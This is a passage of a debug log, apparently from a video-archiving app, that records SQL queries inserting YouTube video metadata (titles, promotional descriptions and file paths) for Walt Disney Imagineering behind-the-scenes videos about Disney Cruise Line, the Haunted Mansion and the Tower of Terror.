\u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "6d2e45ef-4195-4b94-9363-c8640cdce404", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", false, false, 13, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, false, 2, [], 98, ~U[2025-11-11 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", nil, false, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, 2, ~U[2025-11-11 00:00:00Z]] 18:55:11.736 [debug] QUERY OK source="sources" db=0.2ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.737 [debug] QUERY OK source="media_items" db=0.4ms idle=5.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 00:00:00Z], 2] 18:55:11.739 [debug] QUERY OK source="media_items" db=1.3ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "a7652fca-6c7a-4bb7-aee7-f1e545b5747f", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", false, false, 14, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, false, 2, [], 98, ~U[2025-10-31 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", nil, false, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, 2, ~U[2025-10-31 00:00:00Z]] 18:55:11.739 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.740 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-27 00:00:00Z], 2] 18:55:11.741 [debug] QUERY OK source="media_items" db=1.2ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "e06beff2-2980-409f-a8a3-e4bdf771088c", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", false, false, 15, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, false, 2, [], 98, ~U[2025-10-27 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "wkC-B7PNMCI", "https://www.youtube.com/watch?v=wkC-B7PNMCI", nil, false, "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", false, 2, ~U[2025-10-27 00:00:00Z]] 18:55:11.742 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.742 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-19 00:00:00Z], 2] 18:55:11.744 [debug] QUERY OK source="media_items" db=1.3ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "698354fd-719b-4a36-af75-1d852700173e", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", false, false, 16, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, false, 2, [], 98, ~U[2025-10-19 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "Welcome, foolish mortals, to the latest episode of We Call It Imagineering. Come with us for a deep dive into the Haunted Mansion and hear from Imagineers who have brought the attraction to life over the years. The classic attraction has inspired attractions internationally like Phantom Manor at Disneyland Paris and Mystic Manor at Hong Kong Disneyland, and has become a staple of Halloween entertainment at events like Mickey's Not-So-Scary Halloween Party!\n \n🔑 Key Takeaways\n• Haunted Mansion is a cornerstone of Disney storytelling and innovation\n• International versions like Phantom Manor and Mystic Manor offer unique twists\n• The attraction continues to influence seasonal events and guest experiences worldwide\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", nil, false, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].NA", false, 2, ~U[2025-10-19 00:00:00Z]] 18:55:11.745 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.745 [debug] QUERY OK source="media_items" db=0.4ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-06 00:00:00Z], 2] 18:55:11.748 [debug] QUERY OK source="media_items" db=1.9ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\nFollow Walt Disney Imagineering\n📸 Instagram → 